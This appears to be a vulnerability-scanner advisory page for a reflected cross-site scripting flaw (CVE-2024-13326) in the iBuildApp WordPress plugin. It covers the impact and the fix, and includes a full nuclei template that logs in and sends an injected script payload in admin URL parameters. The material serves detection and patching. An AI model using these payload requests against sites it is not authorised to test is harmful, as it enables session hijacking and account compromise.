iBuildApp <= 0.2.0 - Reflected Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

49%of all CVEs are less likely

Readycheck to confirm it

iBuildApp WordPress plugin through 0.2.0 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to version 0.2.1 or later, where input sanitization and output escaping are properly implemented.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: GET /wp-admin/admin.php?page=ibuildapp-iframe-redirect&noheader=true"></script><script>alert(document.domain)</script><script>&targetPage=ibuildapp-app-publish…
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>")

Run it with nuclei: nuclei -id CVE-2024-13326 -u <target>

The full check

id: CVE-2024-13326

info:
  name: iBuildApp <= 0.2.0 - Reflected Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    iBuildApp WordPress plugin through 0.2.0 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to version 0.2.1 or later, where input sanitization and output escaping are properly implemented.
  reference:
    - https://wpscan.com/vulnerability/dc1f755e-63f2-4f5d-a50e-9e2c589e6e4f/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13326
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13326
    cwe-id: CWE-79
    epss-score: 0.00584
    epss-percentile: 0.48234
    cpe: cpe:2.3:a:ibuildapp:ibuildapp:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,wordpress,wpscan,wp-plugin,ibuildapp,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=ibuildapp-iframe-redirect&noheader=true"></script><script>alert(document.domain)</script><script>&targetPage=ibuildapp-app-publishing"></script><script>alert(document.domain)</script><script>&to HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from